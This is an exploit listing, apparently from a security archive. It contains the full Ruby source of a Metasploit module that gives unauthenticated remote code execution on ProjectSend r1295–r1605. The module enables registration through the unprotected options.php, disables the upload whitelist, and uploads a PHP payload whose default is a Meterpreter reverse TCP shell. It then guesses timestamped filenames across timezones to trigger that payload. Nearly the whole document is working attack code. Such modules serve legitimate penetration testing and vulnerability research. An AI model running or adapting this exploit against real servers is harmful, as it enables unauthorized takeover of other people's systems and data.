Headline
ProjectSend R1605 Unauthenticated Remote Code Execution
This Metasploit module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605. The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration, disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE prepend Msf::Exploit::Remote::AutoCheck class CSRFRetrievalError < StandardError; end def initialize(info = {}) super( update_info( info, 'Name' => 'ProjectSend r1295 - r1605 Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605. The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration, disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server. }, 'License' => MSF_LICENSE, 'Author' => [ 'Florent Sicchio', # Discovery 'Hugo Clout', # Discovery 'ostrichgolf' # Metasploit module ], 'References' => [ ['URL', 'https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744'], ['URL', 'https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf'], ], 'DisclosureDate' => '2024-07-19', 'DefaultTarget' => 0, 'Targets' => [ [ 'PHP Command', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ] ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ OptString.new( 'TARGETURI', [true, 'The TARGETURI for ProjectSend', '/'] ) ] ) end def check # Obtain the current title of the website res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php') }) return CheckCode::Unknown('Target is not reachable') unless res # The title will always contain "»" ("»") regardless of localization. For example: "Log in » ProjectSend" title_regex = %r{<title>.*?»\s+(.*?)</title>} original_title = res.body[title_regex, 1] csrf_token = '' begin csrf_token = get_csrf_token rescue CSRFRetrievalError => e return CheckCode::Unknown("#{e.class}: #{e}") end # Generate a new title for the website random_new_title = Rex::Text.rand_text_alphanumeric(8) # Test if the instance is vulnerable by trying to change its title params = { 'csrf_token' => csrf_token, 'section' => 'general', 'this_install_title' => random_new_title } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), 'keep_cookie' => true, 'vars_post' => params }) return CheckCode::Unknown('Failed to connect to the provided URL') unless res # GET request to check if the title updated res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php') }) # Extract new title for comparison updated_title = res.body[title_regex, 1] if updated_title != random_new_title return CheckCode::Safe end # If the title was changed, it is vulnerable and we should restore the original title params = { 'csrf_token' => csrf_token, 'section' => 'general', 'this_install_title' => original_title } send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), 'keep_cookie' => true, 'vars_post' => params }) return CheckCode::Appears end def get_csrf_token vprint_status('Extracting CSRF token...') # Make sure we start from a request with no cookies res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'), 'keep_cookies' => true }) unless res fail_with(Failure::Unknown, 'No response from server') end # Obtain CSRF token csrf_token = res.get_html_document.xpath('//input[@name="csrf_token"]/@value')&.text raise CSRFRetrievalError, 'CSRF token not found in the response' if csrf_token.nil? || csrf_token.empty? vprint_good("Extracted CSRF token: #{csrf_token}") csrf_token end def enable_user_registration_and_auto_approve csrf_token = '' begin csrf_token = get_csrf_token rescue CSRFRetrievalError => e fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}") end # Enable user registration, automatic approval of new users allow all users to upload files and allow users to delete their own files params = { 'csrf_token' => csrf_token, 'section' => 'clients', 'clients_can_register' => 1, 'clients_auto_approve' => 1, 'clients_can_upload' => 1, 'clients_can_delete_own_files' => 1, 'clients_auto_group' => 0, 'clients_can_select_group' => 'none', 'expired_files_hide' => '1' } send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), 'vars_post' => params }) # Check if we successfully enabled clients registration res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php') }) if res&.code == 200 && res.body.include?('Register as a new client.') print_good('Client registration successfully enabled') else fail_with(Failure::Unknown, 'Could not enable client registration') end end def register_new_user(username, password) cookie_jar.clear csrf_token = '' begin csrf_token = get_csrf_token rescue CSRFRetrievalError => e fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}") end # Create a new user with the previously generated username and password params = { 'csrf_token' => csrf_token, 'name' => username, 'username' => username, 'password' => password, 'email' => Rex::Text.rand_mail_address, 'address' => Rex::Text.rand_text_alphanumeric(8) } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'register.php'), 'keep_cookie' => true, 'vars_post' => params }) fail_with(Failure::Unknown, 'Could not create a new user') unless res&.code != 403 print_good("User #{username} created with password #{password}") end def disable_upload_restrictions cookie_jar.clear csrf_token = '' begin csrf_token = get_csrf_token rescue CSRFRetrievalError => e fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}") end print_status('Disabling upload restrictions...') # Disable upload restrictions, to allow us to upload our shell params = { 'csrf_token' => csrf_token, 'section' => 'security', 'file_types_limit_to' => 'noone' } send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), 'keep_cookie' => true, 'vars_post' => params }) end def login(username, password) cookie_jar.clear csrf_token = '' begin csrf_token = get_csrf_token rescue CSRFRetrievalError => e fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}") end print_status("Logging in as #{username}...") # Attempt to login as our newly created user params = { 'csrf_token' => csrf_token, 'do' => 'login', 'username' => username, 'password' => password } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'), 'vars_post' => params, 'keep_cookies' => true }) # Version r1295 does not set a cookie on login, instead we check for a redirect to the expected page indicating a successful login if res&.headers&.[]('Set-Cookie') || (res&.code == 302 && res&.headers&.[]('Location')&.include?('/my_files/index.php')) print_good("Logged in as #{username}") return csrf_token else fail_with(Failure::NoAccess, 'Failed to authenticate. This can happen, you should try to execute the exploit again') end end def upload_file(username, password, filename) login(username, password) # Craft the payload payload = get_write_exec_payload(unlink_self: true) data = Rex::MIME::Message.new data.add_part(filename, nil, nil, 'form-data; name="name"') data.add_part(payload, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(8)}\"") post_data = data.to_s # Upload the shell using a POST request res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'includes', 'upload.process.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'keep_cookies' => true }) # Check if the server confirms our upload as successful if res && res.body.include?('"OK":1') print_good("Successfully uploaded PHP file: #{filename}") json_response = res.get_json_document @file_id = json_response.dig('info', 'id') return res.headers['Date'] else fail_with(Failure::Unknown, 'PHP file upload failed') end end def calculate_potential_filenames(username, upload_time, filename) # Hash the username hashed_username = Digest::SHA1.hexdigest(username) # Parse the upload time base_time = Time.parse(upload_time).utc # Array to store all possible URLs possible_urls = [] # Iterate over all timezones (-12..14).each do |timezone| # Update the variable to reflect the currently looping timezone adj_time = base_time + (timezone * 3600) # Insert the potential URL into our array possible_urls << "#{adj_time.to_i}-#{hashed_username}-#{filename}" end possible_urls end def cleanup super # Delete uploaded file if @file_id cookie_jar.clear csrf_token = login(@username, @password) # Delete our uploaded payload from the portal params = { 'csrf_token' => csrf_token, 'action' => 'delete', 'batch[]' => @file_id } send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'), 'vars_post' => params, 'keep_cookies' => true }) # Version r1295 uses a GET request to delete the uploaded file send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'), 'keep_cookies' => true, 'vars_get' => { 'action' => 'delete', 'batch[]' => @file_id } }) end cookie_jar.clear csrf_token = '' begin csrf_token = get_csrf_token rescue CSRFRetrievalError => e fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}") end # Disable user registration, automatic approval of new users, disallow all users to upload files and prevent users from deleting their own files params = { 'csrf_token' => csrf_token, 'section' => 'clients', 'clients_can_register' => 0, 'clients_auto_approve' => 0, 'clients_can_upload' => 0, 'clients_can_delete_own_files' => 0 } send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), 'vars_post' => params }) # Check if we successfully disabled client registration res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php') }) if res&.body&.include?('Register as a new client.') fail_with(Failure::Unknown, 'Could not disable client registration') end print_good('Client registration successfully disabled') print_status('Enabling upload restrictions...') # Enable upload restrictions for every user params = { 'csrf_token' => csrf_token, 'section' => 'security', 'file_types_limit_to' => 'all' } send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), 'vars_post' => params }) end def trigger_shell(potential_urls) # Visit each URL, to trigger our payload potential_urls.each do |url| send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], 'upload', 'files', url) }, 1) end end def exploit enable_user_registration_and_auto_approve username = Faker::Internet.username password = Rex::Text.rand_text_alphanumeric(8) filename = Rex::Text.rand_text_alphanumeric(8) + '.php' # Set instance variables for cleanup function @username = username @password = password register_new_user(username, password) disable_upload_restrictions upload_time = upload_file(username, password, filename) potential_urls = calculate_potential_filenames(username, upload_time, filename) trigger_shell(potential_urls) endend